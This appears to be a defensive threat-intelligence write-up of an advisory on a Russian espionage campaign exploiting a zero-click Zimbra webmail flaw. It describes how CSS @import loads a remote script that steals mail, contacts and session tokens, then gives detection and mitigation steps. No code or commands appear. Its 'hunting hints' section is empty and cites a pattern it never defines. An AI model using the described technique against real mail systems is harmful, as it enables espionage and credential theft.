Russian APT Uses Zero-Click Zimbra Flaw in Espionage Campaign

Executive Summary

On July 23, 2026, a coalition of cybersecurity agencies from the U.S., U.K., and other partner nations issued a joint advisory detailing a sophisticated espionage campaign by a Russian state-supported Advanced Persistent Threat (APT) group. The group, tracked as LAUNDRY BEAR (also known as Void Blizzard or TA488), has been exploiting a zero-click vulnerability in the Zimbra Collaboration Suite (ZCS) to steal sensitive data from Western government and commercial entities. The campaign has been active since at least July 2025, initially leveraging the flaw as a zero-day. The primary goal is the theft of emails, address lists, and credentials for intelligence-gathering purposes. The advisory urges all organizations using ZCS to apply patches immediately and hunt for signs of compromise.

Threat Overview

The campaign is attributed to LAUNDRY BEAR, a threat actor linked to Russia's Federal Security Service (FSB). The group's primary attack vector is a zero-click exploit targeting CVE-2025-66376, a vulnerability in the ZCS webmail client. This flaw allows for arbitrary JavaScript execution when a victim simply views a specially crafted email, requiring no further user interaction. The attackers used this as a zero-day from July 2025 until it was patched in November 2025. The continued exploitation underscores the risk posed by unpatched, internet-facing systems.

Upon successful exploitation, the actors deploy a custom data exfiltration tool named Ulej. This tool is designed to steal the victim's emails from the last 90 days, the organization's Global Address List (GAL), passwords, and two-factor authentication (2FA) tokens stored within the user's session. The campaign has successfully compromised over 10 organizations across a wide range of critical sectors, including the Defense Industrial Base (DIB), government, law enforcement, and technology.

Technical Analysis

The core of the attack is the exploitation of CVE-2025-66376. This vulnerability arises from improper sanitization of Cascading Style Sheet (CSS) @import directives within emails. The attacker sends an email containing a malicious CSS payload, which, when rendered by the vulnerable ZCS webmail client, triggers the loading and execution of a remote JavaScript file.

Attack Chain:

1. Initial Access (T1566.002): The actor sends a phishing email with a malicious CSS payload to a target with a vulnerable ZCS account.
2. Exploitation for Client-Side Execution (T1204.001): The victim's browser, upon rendering the email in the ZCS web client, processes the @import rule, which fetches and executes a malicious JavaScript payload from an actor-controlled server.
3. Execution (T1059.007): The JavaScript payload, known as Ulej, executes in the context of the victim's browser session.
4. Collection (T1114): The Ulej tool collects emails, the Global Address List, and session data, including credentials and 2FA tokens.
5. Exfiltration (T1041): The collected data is exfiltrated to an attacker-controlled server.

Since November 2025, the actors have also been observed using compromised accounts to send further phishing emails, a technique known as T1534 - Internal Spearphishing, to enhance the credibility of their lures and bypass some security controls.

Impact Assessment

The impact of this campaign is significant, primarily affecting national security and corporate espionage. By targeting government and DIB entities, LAUNDRY BEAR aims to acquire sensitive intelligence for the Russian Federation. The theft of email communications can expose strategic plans, intellectual property, and internal government deliberations. The exfiltration of the Global Address List and credentials enables the actors to expand their operations, conduct more convincing phishing campaigns, and maintain persistent access within the victim's network and their trusted partners.

For commercial victims, the impact includes the loss of trade secrets, reputational damage, and the cost of incident response and remediation. The zero-click nature of the exploit makes it particularly dangerous, as it does not rely on user error and can compromise even security-aware individuals.

IOCs — Directly from Articles

No specific file hashes, IP addresses, or domains were provided in the source articles.

Cyber Observables — Hunting Hints

Security teams may want to hunt for the following patterns to detect potential compromise:

Detection & Response

Detection:

• Log Analysis: Scrutinize web server and proxy logs for requests from ZCS servers to suspicious external domains, particularly those involving JavaScript files. Look for the blank.gif pattern mentioned in the advisory. D3FEND Technique: Network Traffic Analysis (D3-NTA).
• Endpoint Detection: Monitor for suspicious child processes spawned by the ZCS web server process. While the exploit is client-side, post-exploitation activity might involve server-side actions.
• Email Gateway Scrutiny: Configure email security gateways to strip or sanitize CSS content, specifically @import rules, from incoming emails.

Response:

1. Isolate: If a compromise is suspected, isolate the affected Zimbra server from the internet to prevent further data exfiltration.
2. Patch: Immediately apply the latest security patches from Zimbra to address CVE-2025-66376.
3. Credential Reset: Force a password reset for all users who may have been compromised. Invalidate all active sessions and 2FA tokens.
4. Hunt: Use the observables provided to hunt for historical activity and determine the full scope of the compromise.

Mitigation

Strategic Mitigation:

• Patch Management (M1051): Maintain a rigorous patch management program for all internet-facing systems, especially email servers. Prioritize security updates for critical vulnerabilities. D3FEND Technique: Software Update (D3-SU).
• Reduce Attack Surface: If possible, do not expose the ZCS webmail interface directly to the internet. Place it behind a VPN or other access control gateway.
• Multi-Factor Authentication (M1032): Enforce phishing-resistant MFA for all user accounts to mitigate the impact of credential theft. D3FEND Technique: Multi-factor Authentication (D3-MFA).

Tactical Mitigation:

• Web Application Firewall (WAF): Implement WAF rules to inspect and block malicious CSS or JavaScript content in HTTP traffic to the ZCS server.
• Content Security Policy (CSP): If configurable, implement a strict CSP for the ZCS application to prevent the loading of scripts from untrusted domains.
• Network Segmentation (M1030): Segment the network to limit the ability of a compromised email server to access other internal resources.